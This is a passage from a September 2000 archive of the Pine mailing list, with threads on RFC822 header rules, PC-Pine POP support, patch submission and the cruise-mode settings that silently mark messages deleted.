id MAA147118 for ; Sun, 3 Sep 2000 12:55:52 -0700 Received: from euler.math.washington.edu (root@euler.math.washington.edu [128.95.224.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA16060 for ; Sun, 3 Sep 2000 12:55:52 -0700 Received: from goedel3.math.washington.edu (chappa@goedel3.math.washington.edu [128.95.224.12]) by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id MAA02627; Sun, 3 Sep 2000 12:55:38 -0700 (PDT) Message-Id: Date: Sun, 3 Sep 2000 12:55:38 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Pine Discussion Forum Subject: Re: header size inconsistant (sic) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Dave Horsfall X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** Dave Horsfall (dave@fgh.geac.com.au) wrote in the pine-info list about "header size inconsistant (sic)" on Sep 2, 2000: :) First, it's "inconsistent," not "inconsistant." :) That's the message given by 4.21, which comes from unix.c in the c-client library, its spelling is corrected in the new version of the library distributed with the next version of pine. If you want to see an explanation, there was a thread with the same subject as this one (except by the word sic) in comp.mail.pine, and there you can find what Mark explained about it. (yes, I did look hard enough, just in case this thread comes back again) -- Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shiva0.cac.washington.edu Sun Sep 3 14:24:49 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 3 Sep 2000 14:24:48 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA23709; Sun, 3 Sep 2000 14:24:47 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA18934; Sun, 3 Sep 2000 14:24:46 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA01744; Sun, 3 Sep 2000 14:24:00 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA174720 for ; Sun, 3 Sep 2000 14:23:19 -0700 Received: from rhea.worldonline.nl (rhea.worldonline.nl [195.241.48.139]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA20352 for ; Sun, 3 Sep 2000 14:23:18 -0700 Received: from shell.worldonline.nl (shell.worldonline.nl [194.151.128.14]) by rhea.worldonline.nl (Postfix) with SMTP id D935D36BD3; Sun, 3 Sep 2000 23:23:02 +0200 (MET DST) Message-Id: Date: Sun, 3 Sep 2000 23:23:17 +0200 (MET DST) Reply-To: Bruce Cohen Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bruce Cohen To: Pine Discussion Forum Subject: Re: header size inconsistant (sic) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Cc: Eduardo Chappa , pine-bugs@cac.washington.edu, pine@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I don't think that the spelling is the point - it's the header problems that really concern everyone! On Sun, 3 Sep 2000, Eduardo Chappa wrote: > *** Dave Horsfall (dave@fgh.geac.com.au) wrote in the pine-info list about "header size inconsistant (sic)" on Sep 2, 2000: :) First, it's "inconsistent," not "inconsistant." :) That's the message given by 4.21, which comes from unix.c in the c-client library, its spelling is corrected in the new version of the library distributed with the next version of pine. If you want to see an explanation, there was a thread with the same subject as this one (except by the word sic) in comp.mail.pine, and there you can find what Mark explained about it. (yes, I did look hard enough, just in case this thread comes back again) -- Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shiva0.cac.washington.edu Sun Sep 3 21:12:40 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 3 Sep 2000 21:12:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA23898; Sun, 3 Sep 2000 21:12:39 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA25166; Sun, 3 Sep 2000 21:12:38 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA25016; Sun, 3 Sep 2000 21:12:13 -0700 Received: from jason05.u.washington.edu (root@jason05.u.washington.edu [140.142.78.6]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA145814 for ; Sun, 3 Sep 2000 21:11:14 -0700 Received: from dante55.u.washington.edu (leibrand@dante55.u.washington.edu [140.142.15.105]) by jason05.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.01) with ESMTP id VAA21782; Sun, 3 Sep 2000 21:11:13 -0700 Received: from localhost (leibrand@localhost) by dante55.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA76930; Sun, 3 Sep 2000 21:11:12 -0700 Message-Id: Date: Sun, 3 Sep 2000 21:11:10 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Scott Leibrand To: Pine Discussion Forum Subject: Re: PC-Pine question In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Walt Smith X-Cc: Pine Discussion Forum X-Sender: leibrand@dante55.u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >From the Pine FAQ, section 9.3 (http://www.washington.edu/pine/faq/config.html#9.3): "Versions of PC-Pine prior to 4.00 cannot be used with a POP (Post Office Protocol) server. With Unix Pine, and with PC-Pine 4.00 and after, you can access a POP server..." The statement you saw was innacurate, as it only applies to pre-4.x versions of PC-Pine. -- Scott Leibrand leibrand+pine@u.washington.edu (Yes, that is a valid address.) http://students.washington.edu/leibrand http://www.nwlink.com/~leibrand * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * On Fri, 1 Sep 2000, Walt Smith wrote: > On another list, I saw the statement made that PC-Pine works only with > IMAP servers and that if your remote mail server is a POP3, it probably > won't function. I haven't yet tried PC-Pine, but my Unix copy of Version > 4.21 accesses POP3 servers just fine, thank you very much. Should I > expect the same performance from PC-Pine if I structure the server address > the same way as I do in Unix Pine? > > -- > Walt Smith - Raleigh, NC > ka3agm@ns.shellworld.net > > -- > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- > From pinedev@shiva0.cac.washington.edu Sun Sep 3 23:28:26 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 3 Sep 2000 23:28:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA26879; Sun, 3 Sep 2000 23:28:24 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA21143; Sun, 3 Sep 2000 23:28:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA08104; Sun, 3 Sep 2000 23:27:58 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA42392 for ; Sun, 3 Sep 2000 23:27:17 -0700 Received: from islander.whidbey.net (root@islander.whidbey.net [204.57.140.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA15131 for ; Sun, 3 Sep 2000 23:27:17 -0700 Received: from asn47.whidbey.net (asn47.whidbey.net [204.57.140.117]) by islander.whidbey.net (8.9.3/8.9.3) with ESMTP id XAA24989 for ; Sun, 3 Sep 2000 23:27:15 -0700 (PDT) Message-Id: Date: Sun, 3 Sep 2000 23:27:44 -0700 (Pacific Daylight Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Rientjes To: Pine Discussion Forum Subject: Diffs MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: rientjes@mail.whidbey.net X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Morning... I have two questions regarding patch (diff) files for the PINE email client: i) where should diff files be directed? (I assume this mailing list) ii) is it preferred to have the diff file in the body of the message or as an attachment? (I assume as an attachment) iii) what is the preferred diff file format? (I assume it's unified) Thanks. -- David Rientjes -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun Sep 3 23:56:03 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 3 Sep 2000 23:56:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA27069; Sun, 3 Sep 2000 23:56:02 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA27729; Sun, 3 Sep 2000 23:56:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA08407; Sun, 3 Sep 2000 23:55:40 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA47258 for ; Sun, 3 Sep 2000 23:55:10 -0700 Received: from islander.whidbey.net (root@islander.whidbey.net [204.57.140.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA16311 for ; Sun, 3 Sep 2000 23:55:10 -0700 Received: from asn47.whidbey.net (asn47.whidbey.net [204.57.140.117]) by islander.whidbey.net (8.9.3/8.9.3) with ESMTP id XAA27788 for ; Sun, 3 Sep 2000 23:55:07 -0700 (PDT) Message-Id: Date: Sun, 3 Sep 2000 23:55:37 -0700 (Pacific Daylight Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Rientjes To: Pine Discussion Forum Subject: Empty header messages MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: rientjes@mail.whidbey.net X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi... I recommend removing the empty-header-messages parameter and forcing composed email messages to contain a correctly formatted "To" field. As it stands right now, users may leave the "To" field empty and include other fields (i.e. "Cc", "Bcc", "Fcc") to send to users. I am recommending this because of the following text in RFC822 which seems to have been ignored: A.3. COMPLETE HEADERS A.3.1. Minimum required Note that the "Bcc" field may be empty, while the "To" field is required to have at least one address. There are no benefits to leaving a "To" field empty and using other fields such as "Cc" and "Bcc"; the only use they've had recently have been in spam emails where intelligent users have filtered email that has not been sent to their own email address or other configurable addresses. Using only the "Cc" field defeats the purpose and intent of it (since it is intended to be a carbon-copy of an email sent to other recipients). A patch has been written by myself for this change. Comments are welcomed. -- David Rientjes -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Mon Sep 4 00:28:21 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Mon, 4 Sep 2000 00:28:20 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA29266; Mon, 4 Sep 2000 00:28:19 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA22089; Mon, 4 Sep 2000 00:28:19 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id AAA27011; Mon, 4 Sep 2000 00:27:54 -0700 Received: from jason04.u.washington.edu (root@jason04.u.washington.edu [140.142.78.5]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA163644 for ; Mon, 4 Sep 2000 00:27:18 -0700 Received: from dante27.u.washington.edu (leibrand@dante27.u.washington.edu [140.142.15.82]) by jason04.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.01) with ESMTP id AAA61386; Mon, 4 Sep 2000 00:27:17 -0700 Received: from localhost (leibrand@localhost) by dante27.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA46184; Mon, 4 Sep 2000 00:27:17 -0700 Message-Id: Date: Mon, 4 Sep 2000 00:27:16 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Scott Leibrand To: Pine Discussion Forum Subject: Re: Empty header messages In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: David Rientjes X-Cc: Pine Discussion Forum X-Sender: leibrand@dante27.u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm no expert on RFC822 (as I know some of the Pine developers are), but the way I read it, the To: field is not required. All that is required is one destination field, as shown here: fields = dates ; Creation time, source ; author id & one 1*destination ; address required *optional-field ; others optional where a destination field is defined as one of: destination = "To" ":" 1#address ; Primary / "Resent-To" ":" 1#address / "cc" ":" 1#address ; Secondary / "Resent-cc" ":" 1#address / "bcc" ":" #address ; Blind carbon / "Resent-bcc" ":" #address The appendix example you cite only says that the To: field must contain one or more addresses if it's present. Pine does comply with this, as it leaves out the To: field unless it has an address (or LCC/BCC pseudo-address) in it. -- Scott Leibrand leibrand+pine@u.washington.edu (Yes, that is a valid address.) http://students.washington.edu/leibrand http://www.nwlink.com/~leibrand * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * On Sun, 3 Sep 2000, David Rientjes wrote: > Hi... > > I recommend removing the empty-header-messages parameter and forcing > composed email messages to contain a correctly formatted "To" field. As > it stands right now, users may leave the "To" field empty and include > other fields (i.e. "Cc", "Bcc", "Fcc") to send to users. > > I am recommending this because of the following text in RFC822 which seems > to have been ignored: > > A.3. COMPLETE HEADERS > > A.3.1. Minimum required > > Note that the "Bcc" field may be empty, while the "To" field > is required to have at least one address. > > There are no benefits to leaving a "To" field empty and using other fields > such as "Cc" and "Bcc"; the only use they've had recently have been in > spam emails where intelligent users have filtered email that has not been > sent to their own email address or other configurable addresses. Using > only the "Cc" field defeats the purpose and intent of it (since it is > intended to be a carbon-copy of an email sent to other recipients). > > A patch has been written by myself for this change. Comments are > welcomed. > > -- David Rientjes > > -- > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- > From pinedev@shiva0.cac.washington.edu Tue Sep 5 11:56:53 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 5 Sep 2000 11:56:52 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA27172; Tue, 5 Sep 2000 11:56:50 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA03809; Tue, 5 Sep 2000 11:56:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA11151; Tue, 5 Sep 2000 11:55:36 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA04886 for ; Tue, 5 Sep 2000 11:53:43 -0700 Received: from vax.area.com (vax.area.com [216.218.218.27]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id LAA12587 for ; Tue, 5 Sep 2000 11:53:42 -0700 Received: (qmail 1978 invoked by uid 1828); 5 Sep 2000 18:50:36 -0000 Message-Id: Date: Tue, 5 Sep 2000 11:50:36 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: mattack@area.com To: Pine Discussion Forum Subject: space-to-next-message MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Ok, now I'm confused by pine's behavior. I was trying to use it as an example of the behavior I *want*, but now it seems like it doesn't do what I want and in fact acts strangely. 1) Is space supposed to go to the next message when you are just spacing through messages? (i.e. hit the end of one message) I want it _NOT_ to, and I had thought that this was actually pine's behavior. Space DOES seem to go to the next message IF you have other new messages.. otherwise it just stays there at the end of the message you're viewing. HOWEVER, even when you space at the end of the message, and it says [Already at end of message] it MARKS YOUR MESSAGE AS DELETED, _WITHOUT_ showing "DEL" in the upper right hand corner (nor saying message marked deleted or anything). This seems awfully bad to me, and can cause data loss since the user didn't realize their message was marked deleted. and my original question remains -- is there any way I can space through messages (to do paging), but NEVER go to the next message nor mark messages deleted? -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Tue Sep 5 12:07:06 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 5 Sep 2000 12:07:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA26088; Tue, 5 Sep 2000 12:07:04 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA04518; Tue, 5 Sep 2000 12:07:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA00685; Tue, 5 Sep 2000 12:06:04 -0700 Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA46078 for ; Tue, 5 Sep 2000 12:05:03 -0700 Received: from dante29.u.washington.edu (leibrand@dante29.u.washington.edu [140.142.15.211]) by jason03.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.01) with ESMTP id MAA55914; Tue, 5 Sep 2000 12:05:02 -0700 Received: from localhost (leibrand@localhost) by dante29.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA46350; Tue, 5 Sep 2000 12:05:02 -0700 Message-Id: Date: Tue, 5 Sep 2000 12:04:58 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Scott Leibrand To: Pine Discussion Forum Subject: Re: space-to-next-message In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: mattack@area.com X-Cc: Pine Discussion Forum X-Sender: leibrand@dante29.u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Disable these two options in Main, Setup, Config: [ ] enable-cruise-mode [ ] enable-cruise-mode-delete -- Scott Leibrand leibrand+pine@u.washington.edu (Yes, that is a valid address.) http://students.washington.edu/leibrand http://www.nwlink.com/~leibrand * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * On Tue, 5 Sep 2000 mattack@area.com wrote: > > Ok, now I'm confused by pine's behavior. I was trying to use it as an > example of the behavior I *want*, but now it seems like it doesn't > do what I want and in fact acts strangely. > > 1) Is space supposed to go to the next message when you are just spacing > through messages? (i.e. hit the end of one message) > > I want it _NOT_ to, and I had thought that this was actually pine's behavior. > > Space DOES seem to go to the next message IF you have other new messages.. > otherwise it just stays there at the end of the message you're viewing. > > HOWEVER, even when you space at the end of the message, and it says > [Already at end of message] > it MARKS YOUR MESSAGE AS DELETED, _WITHOUT_ showing "DEL" in the upper > right hand corner (nor saying message marked deleted or anything). > > This seems awfully bad to me, and can cause data loss since the > user didn't realize their message was marked deleted. > > > > and my original question remains -- is there any way I can space through > messages (to do paging), but NEVER go to the next message nor mark messages > deleted? > > -- > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- > From pinedev@shiva0.cac.washington.edu Tue Sep 5 12:11:10 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 5 Sep 2000 12:11:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA22085; Tue, 5 Sep 2000 12:11:09 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA29848; Tue, 5 Sep 2000 12:11:08 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA00987; Tue, 5 Sep 2000 12:10:19 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA41770 for ; Tue, 5 Sep 2000 12:09:07 -0700 Received: from vax.area.com (vax.area.com [216.218.218.27]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id MAA09271 for ; Tue, 5 Sep 2000 12:09:07 -0700 Received: (qmail 11633 invoked by uid 1828); 5 Sep 2000 19:05:59 -0000 Message-Id: Date: Tue, 5 Sep 2000 12:05:59 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: mattack@area.com To: Pine Discussion Forum Subject: Re: space-to-next-message In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Scott Leibrand , pine-info@u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 5 Sep 2000, Scott Leibrand wrote: >Date: Tue, 5 Sep 2000 12:04:58 -0700 (PDT) >From: Scott Leibrand >To: mattack@area.com >Cc: Pine Discussion Forum >Subject: Re: space-to-next-message > >Disable these two options in Main, Setup, Config: > > [ ] enable-cruise-mode > [ ] enable-cruise-mode-delete Ok.. I was pretty dang sure I had seen this functionality in the preferences before.. but wow, those aren't named very logically! Also, being able to have #2 enabled without #1 enabled seems bad.. which is exactly how I had it set. Seems to me that the latter should be dependant upon the former being set. PLUS, even with this functionality, the problem of not seeing "DEL" at the top of the screen still remains. From pinedev@shiva0.cac.washington.edu Tue Sep 5 12:17:26 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 5 Sep 2000 12:17:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA04888; Tue, 5 Sep 2000 12:17:24 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA30122; Tue, 5 Sep 2000 12:17:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA13608; Tue, 5 Sep 2000 12:16:25 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA143590 for ; Tue, 5 Sep 2000 12:15:43 -0700 Received: from euler.math.washington.edu (root@euler.math.washington.edu [128.95.224.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA08056 for ; Tue, 5 Sep 2000 12:15:43 -0700 Received: from goedel1.math.washington.edu (chappa@goedel1.math.washington.edu [128.95.224.2]) by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id MAA29127; Tue, 5 Sep 2000 12:15:41 -0700 (PDT) Message-Id: Date: Tue, 5 Sep 2000 12:15:41 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Pine Discussion Forum Subject: Re: space-to-next-message In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: mattack@area.com X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** mattack@area.com wrote in the pine-info list about "Re: space-to-next-message" today: :) PLUS, even with this functionality, the problem of not seeing "DEL" at the :) top of the screen still remains. But the top of the screen refers only to the current message, if you press the space bar you go to another message, so DEL does not apply to that message yet. Maybe what you are thinking of is some kind of message at the bottom of the screen that says something like "previous read message marked deleted" or something like that. -- Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shiva0.cac.washington.edu Tue Sep 5 12:20:22 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 5 Sep 2000 12:20:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA24972; Tue, 5 Sep 2000 12:20:20 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA05111; Tue, 5 Sep 2000 12:20:20 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA01618; Tue, 5 Sep 2000 12:19:37 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA47196 for ; Tue, 5 Sep 2000 12:19:07 -0700 Received: from islander.whidbey.net (root@islander.whidbey.net [204.57.140.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA17575 for ; Tue, 5 Sep 2000 12:19:07 -0700 Received: from asn74.whidbey.net (asn74.whidbey.net [204.57.140.144]) by islander.whidbey.net (8.9.3/8.9.3) with ESMTP id MAA19140; Tue, 5 Sep 2000 12:18:59 -0700 (PDT) Message-Id: Date: Tue, 5 Sep 2000 12:19:23 -0700 (Pacific Daylight Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Rientjes To: Pine Discussion Forum Subject: Re: space-to-next-message In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: mattack@area.com X-Cc: pine-info@u.washington.edu X-X-Sender: rientjes@mail.whidbey.net X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 5 Sep 2000 mattack@area.com wrote: >> [ ] enable-cruise-mode >> [ ] enable-cruise-mode-delete > >Also, being able to have #2 enabled without #1 enabled seems bad.. which >is exactly how I had it set. Seems to me that the latter should be >dependant upon the former being set. > I agree. Perhaps in the future it will be possible to allow preferences to be set if others are set (i.e. if enable-cruise-mode-delete is set by the user, 